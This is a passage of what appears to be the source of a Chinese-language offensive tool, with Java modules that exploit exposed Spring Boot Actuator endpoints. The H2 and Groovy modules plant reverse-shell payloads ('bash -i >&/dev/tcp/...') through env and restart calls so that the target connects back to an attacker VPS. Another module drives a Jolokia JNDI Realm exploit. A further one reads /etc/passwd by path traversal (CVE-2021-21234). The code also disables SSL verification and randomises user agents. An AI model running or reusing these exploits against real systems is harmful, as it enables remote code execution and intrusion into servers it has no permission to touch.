isPoc; 25 | public static String cmdtmp ="bash -i >&/dev/tcp/%s/%s 0>&1"; 26 | public String expData1 = "spring.datasource.hikari.connection-test-query=CREATE ALIAS %s AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL %s('/bin/bash','/c','%s');"; 27 | public String expData2 = "{\"name\":\"spring.datasource.hikari.connection-test-query\",\"value\":\"CREATE ALIAS %s AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL %s('/bin/bash','-c','%s');\"}"; 28 | public String flag = "T"; 29 | public static int count; 30 | public H2DataQueryRCE(String address,String vpsIP,String vpsPort,boolean isPoc){ 31 | this.address = address; 32 | this.vpsIP = vpsIP; 33 | this.vpsPort = vpsPort; 34 | this.isPoc = isPoc; 35 | } 36 | public void Result1(ResultCallback callback){ 37 | String api = "/env"; 38 | String site = address + api; 39 | String restapi = "/restart"; 40 | String restsite = address + restapi; 41 | String llib = "h2database"; 42 | String data = ""; 43 | String ua = ""; 44 | disableSSLVerification(); 45 | String cmd = String.format(cmdtmp,vpsIP,vpsPort); 46 | count = (int) (Math.random() * 9000) + 1000; 47 | flag = "T" + String.valueOf(count); 48 | data = String.format(expData1,flag,flag,cmd); 49 | try{ 50 | URL obj = new URL(site); 51 | HttpURLConnection conn = (HttpURLConnection) obj.openConnection(); 52 | UA_Config uacf = new UA_Config(); 53 | List ualist = uacf.loadUserAgents(); 54 | ua = uacf.getRandomUserAgent(ualist); 55 | conn.setRequestProperty("User-Agent",ua); 56 | conn.setRequestMethod("GET"); 57 | int responseCode = conn.getResponseCode(); 58 | BufferedReader in = new BufferedReader(new InputStreamReader(conn.getInputStream())); 59 | String inputLine; 60 | StringBuilder response = new StringBuilder(); 61 | while ((inputLine = in.readLine()) != null) { 62 | response.append(inputLine); 63 | } 64 | in.close(); 65 | if (responseCode == HttpURLConnection.HTTP_OK && (response.toString().contains(llib))) { 66 | String regex = llib + "/h2/" + "(\\d+\\.\\d+\\.\\d+)"; 67 | Pattern pattern = Pattern.compile(regex); 68 | Matcher matcher = pattern.matcher(response.toString()); 69 | if (matcher.find()) { 70 | text = String.format("h2database 依赖为: %s", matcher.group(1)); 71 | callback.onResult(text); 72 | URL obj1 = new URL(site); 73 | HttpURLConnection conn1 = (HttpURLConnection) obj1.openConnection(); 74 | ua = uacf.getRandomUserAgent(ualist); 75 | conn1.setRequestProperty("User-Agent",ua); 76 | conn1.setRequestMethod("POST"); 77 | conn1.setRequestProperty("Content-Type","application/x-www-form-urlencoded"); 78 | conn1.setDoOutput(true); 79 | try (OutputStream os = conn1.getOutputStream()) { 80 | byte[] input = data.getBytes(StandardCharsets.UTF_8); 81 | os.write(input, 0, input.length); 82 | } 83 | int responseCode1 = conn1.getResponseCode(); 84 | if (responseCode1 == HttpURLConnection.HTTP_OK){ 85 | ++count; 86 | URL obj2 = new URL(restsite); 87 | HttpURLConnection conn2 = (HttpURLConnection) obj2.openConnection(); 88 | ua = uacf.getRandomUserAgent(ualist); 89 | conn2.setRequestProperty("User-Agent",ua); 90 | conn2.setRequestMethod("POST"); 91 | conn2.setRequestProperty("Content-Type","application/x-www-form-urlencoded"); 92 | conn2.setDoOutput(true); 93 | int responseCode2 = conn2.getResponseCode(); 94 | if (responseCode2 == HttpURLConnection.HTTP_OK){ 95 | text = "命令执行成功,请在vps上查看信息"; 96 | callback.onResult(text); 97 | text = "当前监听vpsIP: " + vpsIP + "vpsPort: " + vpsPort; 98 | callback.onResult(text); 99 | } 100 | }else{ 101 | text = "发送restart失败,请重试"; 102 | callback.onResult(text); 103 | } 104 | } 105 | else { 106 | text = "未找到h2database依赖"; 107 | callback.onResult(text); 108 | } 109 | }else{ 110 | text = "发送请求失败,请重试"; 111 | callback.onResult(text); 112 | } 113 | }catch (Exception e){ 114 | text = "发起请求异常"; 115 | callback.onResult(text); 116 | e.printStackTrace(); 117 | } 118 | } 119 | public void Result2(ResultCallback callback){ 120 | String api = "/actuator/env"; 121 | String site = address + api; 122 | String restapi = "/actuator/restart"; 123 | String restsite = address + restapi; 124 | String llib = "h2database"; 125 | String data = ""; 126 | String ua = ""; 127 | disableSSLVerification(); 128 | String cmd = String.format(cmdtmp,vpsIP,vpsPort); 129 | count = (int) (Math.random() * 9000) + 1000; 130 | flag = "T" + String.valueOf(count); 131 | data = String.format(expData2,flag,flag,cmd); 132 | try{ 133 | URL obj = new URL(site); 134 | HttpURLConnection conn = (HttpURLConnection) obj.openConnection(); 135 | UA_Config uacf = new UA_Config(); 136 | List ualist = uacf.loadUserAgents(); 137 | ua = uacf.getRandomUserAgent(ualist); 138 | conn.setRequestProperty("User-Agent",ua); 139 | conn.setRequestMethod("GET"); 140 | int responseCode = conn.getResponseCode(); 141 | BufferedReader in = new BufferedReader(new InputStreamReader(conn.getInputStream())); 142 | String inputLine; 143 | StringBuilder response = new StringBuilder(); 144 | while ((inputLine = in.readLine()) != null) { 145 | response.append(inputLine); 146 | } 147 | in.close(); 148 | if (responseCode == HttpURLConnection.HTTP_OK && (response.toString().contains(llib))) { 149 | String regex = llib + "/h2/" + "(\\d+\\.\\d+\\.\\d+)"; 150 | Pattern pattern = Pattern.compile(regex); 151 | Matcher matcher = pattern.matcher(response.toString()); 152 | if (matcher.find()) { 153 | text = String.format("h2database 依赖为: %s", matcher.group(1)); 154 | callback.onResult(text); 155 | URL obj1 = new URL(site); 156 | HttpURLConnection conn1 = (HttpURLConnection) obj1.openConnection(); 157 | ua = uacf.getRandomUserAgent(ualist); 158 | conn1.setRequestProperty("User-Agent",ua); 159 | conn1.setRequestMethod("POST"); 160 | conn1.setRequestProperty("Content-Type","application/json"); 161 | conn1.setDoOutput(true); 162 | try (OutputStream os = conn1.getOutputStream()) { 163 | byte[] input = data.getBytes(StandardCharsets.UTF_8); 164 | os.write(input, 0, input.length); 165 | } 166 | int responseCode1 = conn1.getResponseCode(); 167 | if (responseCode1 == HttpURLConnection.HTTP_OK){ 168 | ++count; 169 | URL obj2 = new URL(restsite); 170 | HttpURLConnection conn2 = (HttpURLConnection) obj2.openConnection(); 171 | ua = uacf.getRandomUserAgent(ualist); 172 | conn2.setRequestProperty("User-Agent",ua); 173 | conn2.setRequestMethod("POST"); 174 | conn2.setRequestProperty("Content-Type","application/json"); 175 | conn2.setDoOutput(true); 176 | int responseCode2 = conn2.getResponseCode(); 177 | if (responseCode2 == HttpURLConnection.HTTP_OK){ 178 | text = "命令执行成功,请在vps上查看信息"; 179 | callback.onResult(text); 180 | text = "当前监听vpsIP: " + vpsIP + "vpsPort: " + vpsPort; 181 | callback.onResult(text); 182 | } 183 | }else{ 184 | text = "发送restart失败,请重试"; 185 | callback.onResult(text); 186 | } 187 | } 188 | else { 189 | text = "未找到h2database依赖"; 190 | callback.onResult(text); 191 | } 192 | }else{ 193 | text = "发送请求失败,请重试"; 194 | callback.onResult(text); 195 | } 196 | }catch (Exception e){ 197 | text = "发起请求异常"; 198 | callback.onResult(text); 199 | e.printStackTrace(); 200 | } 201 | } 202 | 203 | public void Result3(ResultCallback callback){ 204 | String api = "/env"; 205 | String site = address + api; 206 | String llib = "h2database"; 207 | String ua = ""; 208 | disableSSLVerification(); 209 | try { 210 | URL obj = new URL(site); 211 | HttpURLConnection conn = (HttpURLConnection) obj.openConnection(); 212 | UA_Config uacf = new UA_Config(); 213 | List ualist = uacf.loadUserAgents(); 214 | ua = uacf.getRandomUserAgent(ualist); 215 | conn.setRequestProperty("User-Agent", ua); 216 | conn.setRequestMethod("GET"); 217 | int responseCode = conn.getResponseCode(); 218 | BufferedReader in = new BufferedReader(new InputStreamReader(conn.getInputStream())); 219 | String inputLine; 220 | StringBuilder response = new StringBuilder(); 221 | while ((inputLine = in.readLine()) != null) { 222 | response.append(inputLine); 223 | } 224 | in.close(); 225 | if (responseCode == HttpURLConnection.HTTP_OK && (response.toString().contains(llib))) { 226 | String regex = llib + "/h2/" + "(\\d+\\.\\d+\\.\\d+)"; 227 | Pattern pattern = Pattern.compile(regex); 228 | Matcher matcher = pattern.matcher(response.toString()); 229 | if (matcher.find()) { 230 | text = String.format("h2database 依赖为: %s", matcher.group(1)); 231 | callback.onResult(text); 232 | URL obj1 = new URL(address + "/actuator"); 233 | HttpURLConnection conn1 = (HttpURLConnection) obj1.openConnection(); 234 | conn1.setDoOutput(true); 235 | conn1.setRequestProperty("User-Agent", ua); 236 | conn1.setRequestMethod("GET"); 237 | int responseCode1 = conn1.getResponseCode(); 238 | BufferedReader in1 = new BufferedReader(new InputStreamReader(conn1.getInputStream())); 239 | String inputLine1; 240 | StringBuilder response1 = new StringBuilder(); 241 | while ((inputLine1 = in1.readLine()) != null) { 242 | response1.append(inputLine1); 243 | } 244 | in1.close(); 245 | if (responseCode1 == HttpURLConnection.HTTP_OK && (response1.toString().contains("/restart")) && !matcher.group(1).isEmpty()) { 246 | text = "可能存在漏洞"; 247 | callback.onResult(text); 248 | }else { 249 | text = "不存在可利用漏洞"; 250 | callback.onResult(text); 251 | } 252 | }else { 253 | text = "不存在可利用漏洞"; 254 | callback.onResult(text); 255 | } 256 | } 257 | }catch (Exception e){ 258 | text = "发起请求异常"; 259 | callback.onResult(text); 260 | e.printStackTrace(); 261 | } 262 | } 263 | public void Result4(ResultCallback callback){ 264 | String api = "/actuator/env"; 265 | String site = address + api; 266 | String llib = "h2database"; 267 | String ua = ""; 268 | disableSSLVerification(); 269 | try { 270 | URL obj = new URL(site); 271 | HttpURLConnection conn = (HttpURLConnection) obj.openConnection(); 272 | UA_Config uacf = new UA_Config(); 273 | List ualist = uacf.loadUserAgents(); 274 | ua = uacf.getRandomUserAgent(ualist); 275 | conn.setRequestProperty("User-Agent", ua); 276 | conn.setRequestMethod("GET"); 277 | int responseCode = conn.getResponseCode(); 278 | BufferedReader in = new BufferedReader(new InputStreamReader(conn.getInputStream())); 279 | String inputLine; 280 | StringBuilder response = new StringBuilder(); 281 | while ((inputLine = in.readLine()) != null) { 282 | response.append(inputLine); 283 | } 284 | in.close(); 285 | if (responseCode == HttpURLConnection.HTTP_OK && (response.toString().contains(llib))) { 286 | String regex = llib + "/h2/" + "(\\d+\\.\\d+\\.\\d+)"; 287 | Pattern pattern = Pattern.compile(regex); 288 | Matcher matcher = pattern.matcher(response.toString()); 289 | if (matcher.find()) { 290 | text = String.format("h2database 依赖为: %s", matcher.group(1)); 291 | callback.onResult(text); 292 | URL obj1 = new URL(address + "/actuator"); 293 | HttpURLConnection conn1 = (HttpURLConnection) obj1.openConnection(); 294 | conn1.setDoOutput(true); 295 | conn1.setRequestProperty("User-Agent", ua); 296 | conn1.setRequestMethod("GET"); 297 | int responseCode1 = conn1.getResponseCode(); 298 | BufferedReader in1 = new BufferedReader(new InputStreamReader(conn1.getInputStream())); 299 | String inputLine1; 300 | StringBuilder response1 = new StringBuilder(); 301 | while ((inputLine1 = in1.readLine()) != null) { 302 | response1.append(inputLine1); 303 | } 304 | in1.close(); 305 | if (responseCode1 == HttpURLConnection.HTTP_OK && (response1.toString().contains("/restart")) && !matcher.group(1).isEmpty()) { 306 | text = "可能存在漏洞"; 307 | callback.onResult(text); 308 | }else { 309 | text = "不存在可利用漏洞"; 310 | callback.onResult(text); 311 | } 312 | }else { 313 | text = "不存在可利用漏洞"; 314 | callback.onResult(text); 315 | } 316 | } 317 | }catch (Exception e){ 318 | text = "发起请求异常"; 319 | callback.onResult(text); 320 | e.printStackTrace(); 321 | } 322 | } 323 | public void Exp(ResultCallback callback){ 324 | String api ="/actuator/env"; 325 | String site = address + api; 326 | String ua = ""; 327 | disableSSLVerification(); 328 | try{ 329 | URL obj = new URL(site); 330 | HttpURLConnection conn = (HttpURLConnection) obj.openConnection(); 331 | UA_Config uacf = new UA_Config(); 332 | List ualist = uacf.loadUserAgents(); 333 | ua = uacf.getRandomUserAgent(ualist); 334 | conn.setRequestProperty("User-Agent",ua); 335 | conn.setRequestMethod("GET"); 336 | int responseCode = conn.getResponseCode(); 337 | if (responseCode == HttpURLConnection.HTTP_OK) { 338 | // 存在路径是springboot2,否则是springboot1 339 | text = "当前版本为springboot2"; 340 | callback.onResult(text); 341 | if (isPoc && vpsPort.isEmpty() && vpsIP.isEmpty()){ 342 | Result4(callback); 343 | }else { 344 | Result2(callback); 345 | } 346 | }else if (responseCode == HttpURLConnection.HTTP_NOT_FOUND){ 347 | text = "当前版本为springboot1"; 348 | callback.onResult(text); 349 | if (isPoc && vpsPort.isEmpty() && vpsIP.isEmpty()){ 350 | Result3(callback); 351 | }else { 352 | Result1(callback); 353 | } 354 | }else{ 355 | text = "未识别springboot版本"; 356 | callback.onResult(text); 357 | } 358 | }catch (IOException e){ 359 | text = "发起请求异常"; 360 | callback.onResult(text); 361 | e.printStackTrace(); 362 | } 363 | } 364 | } 365 | -------------------------------------------------------------------------------- /src/main/module/JolokiaRealmRCE.java: -------------------------------------------------------------------------------- 1 | package src.main.module; 2 | 3 | import src.main.LoadLib.ClassCom.ClsComp; 4 | import src.main.common.UA_Config; 5 | import src.main.impl.ResultCallback; 6 | 7 | import java.io.*; 8 | import java.net.HttpURLConnection; 9 | import java.net.URL; 10 | import java.util.List; 11 | import java.util.Scanner; 12 | import java.util.regex.Matcher; 13 | import java.util.regex.Pattern; 14 | 15 | import static src.main.SSLVerify.sslVer.disableSSLVerification; 16 | 17 | public class JolokiaRealmRCE { 18 | private String address; 19 | public String text; 20 | private String vpsIP; 21 | private String vpsPort; 22 | private boolean isPoc; 23 | 24 | public JolokiaRealmRCE(String address, String vpsIP, String vpsPort,boolean isPoc){ 25 | this.address = address; 26 | this.vpsIP = vpsIP; 27 | this.vpsPort = vpsPort; 28 | this.isPoc = isPoc; 29 | } 30 | 31 | public void Result1(ResultCallback callback) { 32 | String llib = "jdk"; 33 | String llib1 = "jolokia-core"; 34 | String api = "/jolokia"; 35 | String site = address + "/env"; 36 | String MBFact = "type=MBeanFactory"; 37 | String createRe = "createJNDIRealm"; 38 | String ua = ""; 39 | String data = ""; 40 | disableSSLVerification(); 41 | try { 42 | UA_Config uacf = new UA_Config(); 43 | List ualist = uacf.loadUserAgents(); 44 | URL obj = new URL(site); 45 | HttpURLConnection conn = (HttpURLConnection) obj.openConnection(); 46 | ua = uacf.getRandomUserAgent(ualist); 47 | conn.setRequestProperty("User-Agent", ua); 48 | conn.setRequestMethod("GET"); 49 | conn.setDoOutput(true); 50 | int responseCode = conn.getResponseCode(); 51 | BufferedReader in = new BufferedReader(new InputStreamReader(conn.getInputStream())); 52 | String inputLine; 53 | StringBuilder response = new StringBuilder(); 54 | while ((inputLine = in.readLine()) != null) { 55 | response.append(inputLine); 56 | } 57 | if (responseCode == HttpURLConnection.HTTP_OK && response.toString().contains(llib) && response.toString().contains(llib1)){ 58 | String regex = llib+ "(\\d+\\.\\d+\\.\\d+_\\d+)"; 59 | Pattern pattern = Pattern.compile(regex); 60 | Matcher matcher = pattern.matcher(response.toString()); 61 | String regex1 = llib1+ "-(\\d+\\.\\d+\\.\\d)"; 62 | Pattern pattern1 = Pattern.compile(regex1); 63 | Matcher matcher1 = pattern1.matcher(response.toString()); 64 | if (matcher.find() && matcher1.find()) { 65 | text = "当前jdk版本为: " + matcher.group(1); 66 | callback.onResult(text); 67 | text = "当前jolokia-core版本为: " + matcher1.group(1); 68 | callback.onResult(text); 69 | URL obj1 = new URL(address + api + "/list"); 70 | HttpURLConnection conn1 = (HttpURLConnection) obj1.openConnection(); 71 | ua = uacf.getRandomUserAgent(ualist); 72 | conn1.setRequestProperty("User-Agent", ua); 73 | conn1.setRequestMethod("GET"); 74 | conn1.setDoOutput(true); 75 | int responseCode1 = conn1.getResponseCode(); 76 | BufferedReader in1 = new BufferedReader(new InputStreamReader(conn1.getInputStream())); 77 | String inputLine1; 78 | StringBuilder response1 = new StringBuilder(); 79 | while ((inputLine1 = in1.readLine()) != null) { 80 | response1.append(inputLine1); 81 | } 82 | if (responseCode1 == HttpURLConnection.HTTP_OK && (response1.toString().contains(MBFact)) && response1.toString().contains(createRe)) { 83 | text = MBFact + "和" + createRe; 84 | callback.onResult(text); 85 | ClsComp cc = new ClsComp(vpsIP,vpsPort); 86 | // 通用代码 87 | boolean isModify = cc.modifyJavaClassFile("JNDIObject/JolokiaLogbackTemplate.java","JolokiaRealm.java",callback); 88 | if (isModify) { 89 | try { 90 | cc.CompileJava("JolokiaRealm", "JolokiaRealm", callback); 91 | } catch (IOException e) { 92 | return; 93 | } 94 | text = "class文件写入成功"; 95 | callback.onResult(text); 96 | ClsComp cc1 = new ClsComp(address,vpsIP,""); 97 | boolean isModify1 = cc1.modifyPythonFile("RealmObject/RealmJolokiaTemplate.py","RealmJolokia.py",callback); 98 | if (isModify1){ 99 | text = "py文件写入成功"; 100 | callback.onResult(text); 101 | // 默认python3 102 | String pyFilePath = System.getProperty("user.dir") + "resources/RealmJolokia.py"; 103 | String pyInterpreter = "python3"; 104 | ProcessBuilder processBuilder = new ProcessBuilder(pyInterpreter, pyFilePath); 105 | try { 106 | Process process = processBuilder.start(); 107 | BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream())); 108 | String line; 109 | while ((line = reader.readLine()) != null) { 110 | callback.onResult(line); 111 | } 112 | // 等待进程结束并获取退出代码 113 | int exitCode = process.waitFor(); 114 | text = "Python脚本执行完毕,退出代码: " + exitCode; 115 | callback.onResult(text); 116 | } catch (IOException | InterruptedException e) { 117 | e.printStackTrace(); 118 | } 119 | }else { 120 | text = "py文件写入失败"; 121 | callback.onResult(text); 122 | } 123 | }else{ 124 | text = "文件写入失败"; 125 | callback.onResult(text); 126 | } 127 | }else{ 128 | text = "未找到" + MBFact + "和" + createRe; 129 | callback.onResult(text); 130 | } 131 | }else{ 132 | text = "未找到依赖"; 133 | callback.onResult(text); 134 | } 135 | }else { 136 | text = "发起请求失败"; 137 | callback.onResult(text); 138 | } 139 | }catch (Exception e){ 140 | text = "检测依赖异常"; 141 | callback.onResult(text); 142 | e.printStackTrace(); 143 | } 144 | } 145 | public void Result2(ResultCallback callback){ 146 | 147 | } 148 | 149 | public void Exp(ResultCallback callback){ 150 | String api = "/actuator/env"; 151 | String site = address + api; 152 | String ua = ""; 153 | disableSSLVerification(); 154 | try{ 155 | URL obj = new URL(site); 156 | HttpURLConnection conn = (HttpURLConnection) obj.openConnection(); 157 | UA_Config uacf = new UA_Config(); 158 | List ualist = uacf.loadUserAgents(); 159 | ua = uacf.getRandomUserAgent(ualist); 160 | conn.setRequestProperty("User-Agent",ua); 161 | conn.setRequestMethod("GET"); 162 | int responseCode = conn.getResponseCode(); 163 | if (responseCode == HttpURLConnection.HTTP_OK) { 164 | text = "当前版本为springboot2"; 165 | callback.onResult(text); 166 | Result2(callback); 167 | }else if (responseCode == HttpURLConnection.HTTP_NOT_FOUND){ 168 | text = "当前版本为springboot1"; 169 | callback.onResult("当前版本为springboot1"); 170 | Result1(callback); 171 | }else{ 172 | text = "未识别springboot版本"; 173 | callback.onResult(text); 174 | } 175 | }catch (Exception e){ 176 | text = "检测springboot版本异常"; 177 | callback.onResult(text); 178 | e.printStackTrace(); 179 | } 180 | } 181 | } 182 | -------------------------------------------------------------------------------- /src/main/module/LogViewFileLeak.java: -------------------------------------------------------------------------------- 1 | package src.main.module; 2 | 3 | import src.main.common.UA_Config; 4 | import src.main.impl.ResultCallback; 5 | 6 | import java.io.BufferedReader; 7 | import java.io.InputStreamReader; 8 | import java.net.HttpURLConnection; 9 | import java.net.URL; 10 | import java.util.List; 11 | 12 | import static src.main.SSLVerify.sslVer.disableSSLVerification; 13 | 14 | public class LogViewFileLeak { 15 | private String address; 16 | private String filename; 17 | public String text; 18 | public LogViewFileLeak(String address,String filename){ 19 | this.address = address; 20 | this.filename = filename; 21 | } 22 | 23 | public void Exp(ResultCallback callback){ 24 | String ua = ""; 25 | String base = "../../../../../../../../"; 26 | String[] apis = { 27 | "/manage/log/view?filename=/etc/passwd&base=" + base, 28 | "/log/view?filename=/etc/passwd&base=" + base, 29 | "/manage/log/view?filename=/windows/win.ini&base=" + base, 30 | "/log/view?filename=/windows/win.ini&base=" + base 31 | }; 32 | disableSSLVerification(); 33 | try{ 34 | UA_Config uacf = new UA_Config(); 35 | List ualist = uacf.loadUserAgents(); 36 | ua = uacf.getRandomUserAgent(ualist); 37 | for (String api : apis) { 38 | try { 39 | URL obj = new URL(address + api); 40 | HttpURLConnection conn = (HttpURLConnection) obj.openConnection(); 41 | conn.setRequestMethod("GET"); 42 | conn.setRequestProperty("User-Agent",ua); 43 | // 配置连接和发送请求 44 | int responseCode = conn.getResponseCode(); 45 | BufferedReader in = new BufferedReader(new InputStreamReader(conn.getInputStream())); 46 | String inputLine; 47 | StringBuilder response = new StringBuilder(); 48 | while ((inputLine = in.readLine()) != null) { 49 | response.append(inputLine).append(System.lineSeparator()); 50 | } 51 | in.close(); 52 | if (responseCode == HttpURLConnection.HTTP_OK && (response.toString().contains("root")||response.toString().contains("MAPI"))){ 53 | text = "检测到CVE-2021-21234漏洞"; 54 | callback.onResult(text); 55 | text = "地址为: " + address + api; 56 | callback.onResult(text); 57 | text = "文件内容为: " + "\n" + response.toString(); 58 | callback.onResult(text); 59 | break; 60 | }else{ 61 | text = "未找到CVE-2021-21234漏洞"; 62 | callback.onResult(text); 63 | } 64 | conn.disconnect(); // 关闭连接 65 | } catch (Exception e) { 66 | text = "遍历请求异常"; 67 | callback.onResult(text); 68 | e.printStackTrace(); 69 | } 70 | } 71 | } catch (Exception e){ 72 | text = "发起请求异常"; 73 | callback.onResult(text); 74 | e.printStackTrace(); 75 | } 76 | } 77 | } 78 | -------------------------------------------------------------------------------- /src/main/module/LoggingGroovyRCE.java: -------------------------------------------------------------------------------- 1 | package src.main.module; 2 | 3 | import src.main.common.UA_Config; 4 | import src.main.impl.ResultCallback; 5 | 6 | import java.io.*; 7 | import java.net.HttpURLConnection; 8 | import java.net.URL; 9 | import java.nio.charset.StandardCharsets; 10 | import java.util.Base64; 11 | import java.util.List; 12 | import java.util.Scanner; 13 | import java.util.regex.Matcher; 14 | import java.util.regex.Pattern; 15 | 16 | import static src.main.SSLVerify.sslVer.disableSSLVerification; 17 | 18 | public class LoggingGroovyRCE { 19 | private String address; 20 | private String vpsIP; 21 | private String vpsPORT; 22 | private boolean isPoc; 23 | public String text; 24 | public String expdata1 = "logging.config=http://%s/LoggingConfigGR.groovy"; 25 | public String expdata2 = "{\"name\":\"logging.config\",\"value\":\"http://%s/LoggingConfigGR.groovy\"}"; 26 | public String cmdtmp = "bash -i >&/dev/tcp/%s/4444 0>&1"; 27 | public String payload = "Runtime.getRuntime().exec(\"bash -c {echo,%s}|{base64,-d}|{bash,-i}\");"; 28 | 29 | 30 | public LoggingGroovyRCE(String address, String vpsIP, String vpsPORT, boolean isPoc){ 31 | this.address = address; 32 | this.vpsIP = vpsIP; 33 | this.vpsPORT = vpsPORT; 34 | this.isPoc = isPoc; 35 | } 36 | 37 | public void Result1(ResultCallback callback){ 38 | String llib = "groovy"; 39 | String api = "/env"; 40 | String resapi = "/restart"; 41 | String site = address + api; 42 | String resite = address + resapi; 43 | String ua = ""; 44 | String data = ""; 45 | disableSSLVerification(); 46 | data = String.format(expdata1, vpsIP + ":" + vpsPORT); 47 | try { 48 | UA_Config uacf = new UA_Config(); 49 | List ualist = uacf.loadUserAgents(); 50 | URL obj = new URL(site); 51 | HttpURLConnection conn = (HttpURLConnection) obj.openConnection(); 52 | ua = uacf.getRandomUserAgent(ualist); 53 | conn.setRequestProperty("User-Agent",ua); 54 | conn.setRequestMethod("GET"); 55 | conn.setDoOutput(true); 56 | int responseCode = conn.getResponseCode(); 57 | BufferedReader in = new BufferedReader(new InputStreamReader(conn.getInputStream())); 58 | String inputLine; 59 | StringBuilder response = new StringBuilder(); 60 | while ((inputLine = in.readLine()) != null) { 61 | response.append(inputLine); 62 | } 63 | if (responseCode == HttpURLConnection.HTTP_OK && (response.toString().contains(llib))) { 64 | String regex = llib + "-(\\d+\\.\\d+\\.\\d+)"; 65 | Pattern pattern = Pattern.compile(regex); 66 | Matcher matcher = pattern.matcher(response.toString()); 67 | if (matcher.find()) { 68 | text = String.format("groovy 依赖为: %s", matcher.group(1)); 69 | callback.onResult(text); 70 | try { 71 | URL obj1 = new URL(site); 72 | HttpURLConnection conn1 = (HttpURLConnection) obj1.openConnection(); 73 | ua = uacf.getRandomUserAgent(ualist); 74 | conn1.setRequestProperty("User-Agent", ua); 75 | conn1.setRequestProperty("Content-Type", "application/x-www-form-urlencoded"); 76 | conn1.setRequestMethod("POST"); 77 | conn1.setDoOutput(true); 78 | try (OutputStream os = conn1.getOutputStream()) { 79 | byte[] input = data.getBytes(StandardCharsets.UTF_8); 80 | os.write(input, 0, input.length); 81 | } 82 | int responseCode1 = conn1.getResponseCode(); 83 | if (responseCode1 == HttpURLConnection.HTTP_OK) { 84 | try { 85 | URL obj2 = new URL(resite); 86 | HttpURLConnection conn2 = (HttpURLConnection) obj2.openConnection(); 87 | ua = uacf.getRandomUserAgent(ualist); 88 | conn2.setRequestProperty("User-Agent", ua); 89 | conn2.setRequestProperty("Content-Type", "application/x-www-form-urlencoded"); 90 | conn2.setRequestMethod("POST"); 91 | conn2.setDoOutput(true); 92 | int responseCode2 = conn2.getResponseCode(); 93 | if (responseCode2 == HttpURLConnection.HTTP_OK) { 94 | text = "执行命令成功"; 95 | callback.onResult(text); 96 | text = "当前反弹vpsIP: " + vpsIP + " " + "vpsPort: 4444"; 97 | callback.onResult(text); 98 | } else { 99 | text = "错误:发送restart请求失败,状态码为: " + responseCode2; 100 | callback.onResult(text); 101 | } 102 | } catch (Exception e) { 103 | text = "异常:发起restart请求失败"; 104 | callback.onResult(text); 105 | e.printStackTrace(); 106 | } 107 | } 108 | } catch (Exception e) { 109 | text = "发起env请求失败"; 110 | callback.onResult(text); 111 | e.printStackTrace(); 112 | } 113 | }else { 114 | text = "未找到依赖项!"; 115 | callback.onResult(text); 116 | } 117 | } 118 | }catch (Exception e) { 119 | text = "检测依赖异常"; 120 | callback.onResult(text); 121 | e.printStackTrace(); 122 | } 123 | } 124 | public void Result2(ResultCallback callback){ 125 | String llib = "groovy"; 126 | String api = "/actuator/env"; 127 | String resapi = "/actuator/restart"; 128 | String site = address + api; 129 | String resite = address + resapi; 130 | String ua = ""; 131 | String data = ""; 132 | disableSSLVerification(); 133 | data = String.format(expdata2, vpsIP + ":" + vpsPORT); 134 | try { 135 | UA_Config uacf = new UA_Config(); 136 | List ualist = uacf.loadUserAgents(); 137 | URL obj = new URL(site); 138 | HttpURLConnection conn = (HttpURLConnection) obj.openConnection(); 139 | ua = uacf.getRandomUserAgent(ualist); 140 | conn.setRequestProperty("User-Agent",ua); 141 | conn.setRequestMethod("GET"); 142 | conn.setDoOutput(true); 143 | int responseCode = conn.getResponseCode(); 144 | BufferedReader in = new BufferedReader(new InputStreamReader(conn.getInputStream())); 145 | String inputLine; 146 | StringBuilder response = new StringBuilder(); 147 | while ((inputLine = in.readLine()) != null) { 148 | response.append(inputLine); 149 | } 150 | if (responseCode == HttpURLConnection.HTTP_OK && (response.toString().contains(llib))) { 151 | String regex = llib + "-(\\d+\\.\\d+\\.\\d+)"; 152 | Pattern pattern = Pattern.compile(regex); 153 | Matcher matcher = pattern.matcher(response.toString()); 154 | if (matcher.find()) { 155 | text = String.format("groovy 依赖为: %s", matcher.group(1)); 156 | callback.onResult(text); 157 | try { 158 | URL obj1 = new URL(site); 159 | HttpURLConnection conn1 = (HttpURLConnection) obj1.openConnection(); 160 | ua = uacf.getRandomUserAgent(ualist); 161 | conn1.setRequestProperty("User-Agent", ua); 162 | conn1.setRequestProperty("Content-Type", "application/json"); 163 | conn1.setRequestMethod("POST"); 164 | conn1.setDoOutput(true); 165 | String b64payload = Base64.getEncoder().encodeToString(String.format(cmdtmp,vpsIP).getBytes()); 166 | String exp = String.format(payload,b64payload); 167 | try { 168 | FileWriter writer = new FileWriter(System.getProperty("user.dir") + "/resources/LoggingConfigGR.groovy"); 169 | Scanner sc = new Scanner(System.in); 170 | writer.write(exp); 171 | sc.close(); 172 | writer.close(); 173 | text = "LoggingConfigGR.groovy文件写入成功"; 174 | callback.onResult(text); 175 | }catch (IOException e){ 176 | text = "LoggingConfigGR.groovy文件写入失败"; 177 | callback.onResult(text); 178 | e.printStackTrace(); 179 | } 180 | try (OutputStream os = conn1.getOutputStream()) { 181 | byte[] input = data.getBytes(StandardCharsets.UTF_8); 182 | os.write(input, 0, input.length); 183 | } 184 | int responseCode1 = conn1.getResponseCode(); 185 | if (responseCode1 == HttpURLConnection.HTTP_OK) { 186 | try { 187 | URL obj2 = new URL(resite); 188 | HttpURLConnection conn2 = (HttpURLConnection) obj2.openConnection(); 189 | ua = uacf.getRandomUserAgent(ualist); 190 | conn2.setRequestProperty("User-Agent", ua); 191 | conn2.setRequestProperty("Content-Type", "application/json"); 192 | conn2.setRequestMethod("POST"); 193 | conn2.setDoOutput(true); 194 | int responseCode2 = conn2.getResponseCode(); 195 | if (responseCode2 == HttpURLConnection.HTTP_OK) { 196 | text = "执行命令成功"; 197 | callback.onResult(text); 198 | text = "当前反弹vpsIP: " + vpsIP + " " + "vpsPort: 4444"; 199 | callback.onResult(text); 200 | } else { 201 | text = "错误:发送restart请求失败,状态码为: " + responseCode2; 202 | callback.onResult(text); 203 | } 204 | } catch (Exception e) { 205 | text = "异常:发起restart请求失败"; 206 | callback.onResult(text); 207 | e.printStackTrace(); 208 | } 209 | } 210 | } catch (Exception e) { 211 | text = "发起env请求失败"; 212 | callback.onResult(text); 213 | e.printStackTrace(); 214 | } 215 | }else { 216 | text = "未找到依赖项!"; 217 | callback.onResult(text); 218 | } 